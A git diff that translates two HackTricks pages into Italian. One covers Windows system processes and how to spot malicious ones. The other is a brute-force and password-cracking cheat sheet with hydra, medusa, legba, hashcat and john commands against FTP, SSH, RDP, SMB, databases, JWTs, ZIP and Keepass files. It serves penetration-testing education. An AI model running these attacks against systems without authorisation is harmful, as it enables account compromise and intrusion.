## winlogon.exe **Windows Logon Process**.\ -It's responsible for user **logon**/**logoffs**. It launches **logonui.exe** to ask for username and password and then calls **lsass.exe** to verify them. +È responsabile per il **logon**/**logoff** dell'utente. Avvia **logonui.exe** per chiedere nome utente e password e poi chiama **lsass.exe** per verificarli. -Then it launches **userinit.exe** which is specified in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** with key **Userinit**. +Poi avvia **userinit.exe** che è specificato in **`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`** con la chiave **Userinit**. -Mover over, the previous registry should have **explorer.exe** in the **Shell key** or it might be abused as a **malware persistence method**. +Inoltre, il registro precedente dovrebbe avere **explorer.exe** nella chiave **Shell** o potrebbe essere abusato come **metodo di persistenza del malware**. ## wininit.exe **Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +Avvia **services.exe**, **lsass.exe** e **lsm.exe** nella Sessione 0. Dovrebbe esserci solo 1 processo. ## userinit.exe **Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +Carica il **ntduser.dat in HKCU** e inizializza l'**ambiente** **utente** e esegue **script di logon** e **GPO**. -It launches **explorer.exe**. +Avvia **explorer.exe**. ## lsm.exe **Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +Lavora con smss.exe per manipolare le sessioni utente: logon/logoff, avvio della shell, blocco/sblocco del desktop, ecc. -After W7 lsm.exe was transformed into a service (lsm.dll). +Dopo W7, lsm.exe è stato trasformato in un servizio (lsm.dll). -There should only be 1 process in W7 and from them a service running the DLL. +Dovrebbe esserci solo 1 processo in W7 e da esso un servizio che esegue la DLL. ## services.exe **Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +Carica i **servizi** configurati come **auto-avvio** e **driver**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +È il processo padre di **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** e molti altri. -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +I servizi sono definiti in `HKLM\SYSTEM\CurrentControlSet\Services` e questo processo mantiene un DB in memoria delle informazioni sui servizi che possono essere interrogate da sc.exe. -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +Nota come **alcuni** **servizi** verranno eseguiti in un **processo proprio** e altri condivideranno un processo svchost.exe. -There should only be 1 process. +Dovrebbe esserci solo 1 processo. ## lsass.exe **Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +È responsabile per l'**autenticazione** dell'utente e crea i **token** di **sicurezza**. Utilizza pacchetti di autenticazione situati in `HKLM\System\CurrentControlSet\Control\Lsa`. -It writes to the **Security** **event** **log** and there should only be 1 process. +Scrive nel **registro** **eventi** **di sicurezza** e dovrebbe esserci solo 1 processo. -Keep in mind that this process is highly attacked to dump passwords. +Tieni presente che questo processo è altamente attaccato per estrarre password. ## svchost.exe **Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +Ospita più servizi DLL in un processo condiviso. -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Di solito, troverai che **svchost.exe** viene avviato con il flag `-k`. Questo avvierà una query al registro **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** dove ci sarà una chiave con l'argomento menzionato in -k che conterrà i servizi da avviare nello stesso processo. -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +Ad esempio: `-k UnistackSvcGroup` avvierà: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +Se il **flag `-s`** viene utilizzato anche con un argomento, allora svchost viene chiesto di **avviare solo il servizio specificato** in questo argomento. -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +Ci saranno diversi processi di `svchost.exe`. Se uno di essi **non utilizza il flag `-k`**, allora è molto sospetto. Se scopri che **services.exe non è il padre**, è anche molto sospetto. ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +Questo processo funge da host per i processi in esecuzione da DLL. Carica anche i servizi che vengono eseguiti da DLL. -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +In W8 questo è chiamato taskhostex.exe e in W10 taskhostw.exe. ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +Questo è il processo responsabile per il **desktop dell'utente** e per l'apertura di file tramite estensioni di file. -**Only 1** process should be spawned **per logged on user.** +**Solo 1** processo dovrebbe essere generato **per ogni utente connesso.** -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +Questo viene eseguito da **userinit.exe** che dovrebbe essere terminato, quindi **nessun padre** dovrebbe apparire per questo processo. -# Catching Malicious Processes +# Catturare Processi Maligni -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- Sta girando dal percorso previsto? (Nessun binario Windows gira da una posizione temporanea) +- Sta comunicando con IP strani? +- Controlla le firme digitali (gli artefatti Microsoft dovrebbero essere firmati) +- È scritto correttamente? +- Sta girando sotto il SID previsto? +- È il processo padre quello previsto (se presente)? +- I processi figli sono quelli attesi? (niente cmd.exe, wscript.exe, powershell.exe..?) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..1ed3d4d31 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ # Brute Force - CheatSheet -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - {{#include ../banners/hacktricks-training.md}} -## Default Credentials +## Credenziali Predefinite -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Cerca su google** le credenziali predefinite della tecnologia in uso, oppure **prova questi link**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **Crea i tuoi Dizionari** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +Trova quante più informazioni possibile sul bersaglio e genera un dizionario personalizzato. Strumenti che possono aiutare: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +Genera password basate sulla tua conoscenza della vittima (nomi, date...) ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Uno strumento generatore di wordlist, che ti consente di fornire un insieme di parole, offrendoti la possibilità di creare più variazioni dalle parole fornite, creando una wordlist unica e ideale da utilizzare per un target specifico. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,10 +65,9 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### Elenchi di parole - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+## Servizi -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Services - -Ordered alphabetically by service name. +Ordinati alfabeticamente per nome del servizio. ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM e Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - ### Cassandra - ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - ### Docker Registry - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTP Generico Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTP Autenticazione di Base ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - -### HTTP - Post Form - +### HTTP - Modulo Post ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +Per http**s** devi cambiare da "http-post-form" a "**https-post-form"** -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla o (D)rupal o (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI - ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - ### Mongo - ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +Per utilizzare **oracle_login** con **patator** è necessario **installare**: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versioni 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,79 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +Puoi scaricare il pacchetto `.deb` per installare da [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis - ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - -[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) - ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +381,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +391,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### Chiavi SSH deboli / PRNG prevedibile di Debian -#### Weak SSH keys / Debian predictable PRNG +Alcuni sistemi presentano difetti noti nel seme casuale utilizzato per generare materiale crittografico. Questo può portare a uno spazio di chiavi notevolmente ridotto che può essere attaccato con strumenti come [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Sono disponibili anche set pre-generati di chiavi deboli come [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ) +Il protocollo testuale STOMP è un protocollo di messaggistica ampiamente utilizzato che **consente comunicazioni e interazioni senza soluzione di continuità con i popolari servizi di messaggistica** come RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Fornisce un approccio standardizzato ed efficiente per scambiare messaggi e svolgere varie operazioni di messaggistica. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - ### Telnet - ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +431,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` +## Locale -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Local - -### Online cracking databases +### Database di cracking online - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) -- [https://crackstation.net/](https://crackstation.net) (Hashes) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 con/senza ESS/SSP e con qualsiasi valore della sfida) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash, catture WPA2 e archivi MSOffice, ZIP, PDF...) +- [https://crackstation.net/](https://crackstation.net) (Hash) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) -- [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) -- [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) +- [https://gpuhash.me/](https://gpuhash.me) (Hash e hash di file) +- [https://hashes.org/search.php](https://hashes.org/search.php) (Hash) +- [https://www.cmd5.org/](https://www.cmd5.org) (Hash) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +Controlla questo prima di provare a forzare un Hash. ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +469,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### Attacco zip con testo in chiaro noto -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +Devi conoscere il **testo in chiaro** (o parte del testo in chiaro) **di un file contenuto all'interno** dello zip crittografato. Puoi controllare **i nomi dei file e la dimensione dei file contenuti all'interno** di uno zip crittografato eseguendo: **`7z l encrypted.zip`**\ +Scarica [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) dalla pagina delle release. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +484,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +495,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -635,13 +504,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` - ### PDF Owner Password -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Per decifrare una password di un PDF Owner controlla questo: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -653,17 +520,13 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` - -### NTLM cracking - +### Cracking NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` - ### Keepass - ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -671,30 +534,24 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting - ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` - ### Lucks image -#### Method 1 - -Install: 